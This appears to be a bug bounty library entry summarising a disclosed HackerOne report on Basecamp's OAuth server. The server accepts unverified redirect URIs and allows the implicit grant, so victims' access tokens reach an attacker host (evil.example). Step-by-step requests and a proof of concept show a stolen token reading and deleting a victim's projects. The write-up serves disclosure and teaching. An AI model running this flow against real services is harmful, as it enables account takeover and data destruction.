# launchpad.37signals.com OAuth AS issues victim-bound credential to unverified attacker redirect → full CIA triad on Basecamp API

Basecamp's launchpad OAuth server registers attacker redirect_uris without ownership verification and still enables implicit grant, delivering victim-bound access tokens that read, rename and delete projects.

- Payout: hidden
- Severity: high
- Program: Basecamp
- Found by: rootaccessxvv
- Disclosed: 2026-10-30
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/3955956
- Library page: https://bugbountylibrary.com/r/h1%3A3955956
- Tags: area:web domain:web impact:ato impact:data-leak impact:integrity kind:bounty platform:hackerone sev:high tech:oauth technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** OAuth2 authorization server (launchpad.37signals.com) and Basecamp REST API
**Root cause:** POST /integrations accepts an attacker-chosen redirect_uri with no ownership verification, approval, or scheme validation, and the deprecated implicit grant (type=user_agent) delivers the victim-bound access_token directly to that redirect without client_secret.
**Steps:**
1. Register client: `POST /integrations` multipart with `integration[redirect_uri]=https://evil.example/cb`, `integration[products][]=bc3` → 302 /integrations; read client_id/client_secret from `/integrations/<id>`
2. Send victim `GET /authorization/new?client_id=<id>&redirect_uri=<redirect>&type=web_server` → 200 consent screen
3. Victim submits `POST /authorization` with hidden client_id/type/redirect_uri and commit → 302 `https://evil.example/cb?code=<8-hex>`
4. Use token: `GET https://3.basecampapi.com/<acct>/projects.json` with `Authorization: Bearer <token>` → 200 project list
5. `PUT .../projects/<id>.json` `{"name":"37s-bb-ih-probe-13843"}` → 200 rename; `DELETE .../projects/<id>.json` → 204, follow-up GET → 404
**How found:** Reviewed the OAuth AS registration flow and noticed POST /integrations performs no ownership proof on redirect_uri; then tested authorize-time behavior across grant types and dangerous redirect shapes, confirming the implicit grant hands the token to the unverified redirect without client authentication.
**Exploitation:** Attacker with any free Basecamp account registers an OAuth client pointing at a redirect they control, then gets a victim to authorize it via the standard consent UI. With type=user_agent the access token lands in the URL fragment with no client_secret or code exchange; with type=web_server the code is redeemed using the attacker-held self-registered client_secret. The resulting 14-day bearer acts as the victim against 3.basecampapi.com, allowing read of projects, rename, and deletion.
**Escalation:** Registration also accepts cleartext loopback, custom schemes (myapp://), wildcard host and wildcard path redirects, broadening the receiving surface and enabling per-authorization rotation without re-registration.
**Insight:** On custom OAuth providers, test registration-time trust separately from authorize-time matching: exact-match checks can pass while the redirect was never ownership-verified. Also probe whether legacy implicit grant (type=user_agent / response_type=token) is still enabled — it removes the client_secret gate entirely.

## Proof of concept (copied exactly from the original report)

**Implicit grant delivers token to attacker redirect**

```
GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=user_agent
→ **200** consent screen (server stamps `type=user_agent` into the hidden form).
POST /authorization   (single consent submission)
→ **302** `https://<attacker redirect>/cb#access_token=<Rails-Msg-Marshal>` — the access token is delivered **directly in the URL fragment**.
```

**Stolen bearer reads victim projects.json**

```
GET https://3.basecampapi.com/████████/projects.json`** with the **same** `Authorization: Bearer <fragment token>` → **200**:
[{"id":████████,"status":"active","name":"My Project","description":null,"purpose":"topic",
  "clients_enabled":false,"created_at":"2026-08-17T17:38:47.981Z","updated_at":"2026-08-17T17:38:48.057Z"}]
```

**Stolen bearer deletes victim project**

```
PRE  GET https://3.basecampapi.com/████████/projects/████████.json  → 200  name="My Project"   (confirm exists)
DELETE https://3.basecampapi.com/████████/projects/████████.json     → 204  (no body)
POST-DELETE GET https://3.basecampapi.com/████████/projects/████████.json → 404 {"status":404,"error":"Not Found"}   (verified gone)
```

